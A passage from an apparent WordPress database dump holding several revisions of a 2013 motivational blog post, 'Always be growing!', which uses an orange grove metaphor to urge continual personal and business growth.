not be you!\r\n\r\nAlways be growing is how life works–in biology and in business. Never stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing. I’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n\r\n<strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”.</strong>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-2', '', '', '2013-08-16 14:02:06', '2013-08-16 21:02:06', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-2/', 0, 'revision', '', 0),
(2473, 2, '2013-08-16 14:09:40', '2013-08-16 21:09:40', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the process of entropy.</h1>\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\n\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\n\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\n\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\n\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\n\nLet that not be you!\n<h2>Always be growing is how life works–in biology and in business.</h2>\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\n\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\n\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\n\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\n\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\n\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\n\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\n\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\n\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”.</strong></h3>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-3', '', '', '2013-08-16 14:09:40', '2013-08-16 21:09:40', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-3/', 0, 'revision', '', 0),
(2474, 2, '2013-08-16 14:09:52', '2013-08-16 21:09:52', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the process of entropy.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”.</strong></h3>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-4', '', '', '2013-08-16 14:09:52', '2013-08-16 21:09:52', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-4/', 0, 'revision', '', 0),
(2475, 2, '2013-08-16 14:10:03', '2013-08-16 21:10:03', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the process of entropy.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”.</strong></h3>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-5', '', '', '2013-08-16 14:10:03', '2013-08-16 21:10:03', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-5/', 0, 'revision', '', 0),
(2476, 2, '2013-08-16 14:10:52', '2013-08-16 21:10:52', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”.</strong></h3>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-6', '', '', '2013-08-16 14:10:52', '2013-08-16 21:10:52', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-6/', 0, 'revision', '', 0);
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(2477, 2, '2013-08-16 14:16:12', '2013-08-16 21:16:12', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”</strong></h3>\r\n<span style="color: #808080;"><em>If you found this post helpful, please subscribe to the White Hot Center.</em></span>', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-7', '', '', '2013-08-16 14:16:12', '2013-08-16 21:16:12', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-7/', 0, 'revision', '', 0),
(2478, 2, '2013-08-16 14:16:20', '2013-08-16 21:16:20', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”</strong></h3>\r\n<span style="color: #808080;"><em>If you found this post helpful, please subscribe to the White Hot Center.</em></span>', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-8', '', '', '2013-08-16 14:16:20', '2013-08-16 21:16:20', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-8/', 0, 'revision', '', 0),
(2479, 2, '2013-08-16 14:22:49', '2013-08-16 21:22:49', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em>\r\n\r\n<em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.\r\n\r\nThere are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.\r\n\r\nI’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”</strong></h3>\r\n<span style="color: #808080;"><em>If you found this post helpful, please subscribe to the White Hot Center.</em></span>', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-autosave', '', '', '2013-08-16 14:22:49', '2013-08-16 21:22:49', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-autosave/', 0, 'revision', '', 0),
(2480, 2, '2013-08-16 14:19:55', '2013-08-16 21:19:55', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" /><br />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\n<p>I live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.</p>\r\n<p>There’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.</p>\r\n<p>However, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).</p>\r\n<p>A plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.</p>\r\n<p>But growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.</p>\r\n<p>Let that not be you!</p>\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\n<p>Never stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.</p>\r\n<p>Life and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:</p>\r\n<p><em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em></p>\r\n<p><em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em></p>\r\n<p><em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em></p>\r\n<p><em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your advancement.</em></p>\r\n<p><em>• Your lifestyle is about your well-being, taking care of yourself (physically, mentally and spiritually) so you can serve the well being of others</em>.</p>\r\n<p>There are no plateaus in your growth except the ones you invent in your mind. Learn to enjoy the climb because that’s all there is. Don’t stop. Always be growing.</p>\r\n<p>I’ll leave you to ponder these fine words from Star Trek’s Mr. Spock:</p>\r\n<h3><strong>“After a time, you may find that having is not so pleasing a thing, after all, as wanting. It is not logical, but it is often true”</strong></h3>\r\n<p><span style="color: #808080;"><em>If you found this post helpful, please subscribe to the White Hot Center.</em></span></p>\r\n', 'Always be growing!', 0, '', 'inherit', 'open', 'open', '', '2469-revision-9', '', '', '2013-08-16 14:19:55', '2013-08-16 21:19:55', '', 2469, 'http://www.whitehotcenter.com/2013/08/2469-revision-9/', 0, 'revision', '', 0),
(2481, 2, '2013-08-16 14:22:38', '2013-08-16 21:22:38', '<h1><img class="alignnone size-full wp-image-2470" title="orange" src="http://whc.fbdev.org/wp-content/uploads/2013/08/orange.jpg" alt="" width="491" height="267" />\r\nAny living thing that stops growing starts to decay. This is true for plants as well as people. We all continue to grow and expand or we begin the slow process of decline.</h1>\r\nI live and work in an orange grove. Over the years I’ve become familiar with the magical season-to-season process of how oranges grow from flowers to fruit.  It’s pretty amazing!  It’s a cozy and familiar metaphor to think about life’s achievements as seasons too.\r\n\r\nThere’s a time to take advantage of opportunity, planting new ideas in the spring. The summer is a time for attentive actions keeping out the weeds from choking your idea as it comes into form. The fall is the harvest, the pay-off for all your efforts, enjoying the fruit of your good labor. Finally in the winter, an introspective time of learning to get better, stronger, and wiser. Then you rinse and repeat–using what you’ve learned from the previous cycle to grow, expand, and increase your contributions in the next.\r\n\r\nHowever, for some, the process of growth isn’t always so neat and tidy. Sometimes, there are plateaus.  (I love mixing metaphors).\r\n\r\nA plateau is a place you arrive at after certain periods of sustained growth. Plateaus are a part of the climb towards any achievement. The trick is to not get too comfortable when you arrive at one. After a long hard climb up the mountain of your vision for achievement, a plateau can seem like a mighty nice place to hang out in while you catch your breath and rest. And for that reason, plateaus are useful.\r\n\r\nBut growth and expansion is the natural order of all things. Eventually, you have to keep climbing to your next level of expression. Hanging out too long on a plateau is to invite natural disaster. I know first hand the dangers of plateaus. I lingered then languished on one for well over a decade. I got used to being comfortable after my long climb up. Soon I was so comfortable I fell asleep.\r\n\r\nLet that not be you!\r\n<h2>Always be growing is how life works–in biology and in business.</h2>\r\nNever stop growing in your knowledge and capability. Never stop learning to be the best you can be. Never stop growing in your service to others –family, friends, colleagues, customers and your community. If you want more out of your life and business, first be more–always expanding your value to others.\r\n\r\nLife and the marketplace will reward those who earn and deserve, never because they desire and need. Earning and deserving is growth. Desire and neediness is the plateau. The process for personal and professional growth in life and business has remained the same for thousands of years. It’s not a secret, nor a mystery, yet these simple first principles elude so many:\r\n\r\n<em>• You become what you think about, your philosophy is the determining factor in your reality. Have big ideas, make big plans!</em>\r\n\r\n<em>• Your attitude about your past, your future, about people and yourself, how you feel each day determines the quantity and quality of your creative energy.</em>\r\n\r\n<em>• Your activities and actions, what you do, how you do it– just do what you can and do the best you can. There’s nothing more to do.</em>\r\n\r\n<em>• Your results will teach you what you need to know about your actions, attitude and philosophy. Don’t judge your results; use them for your 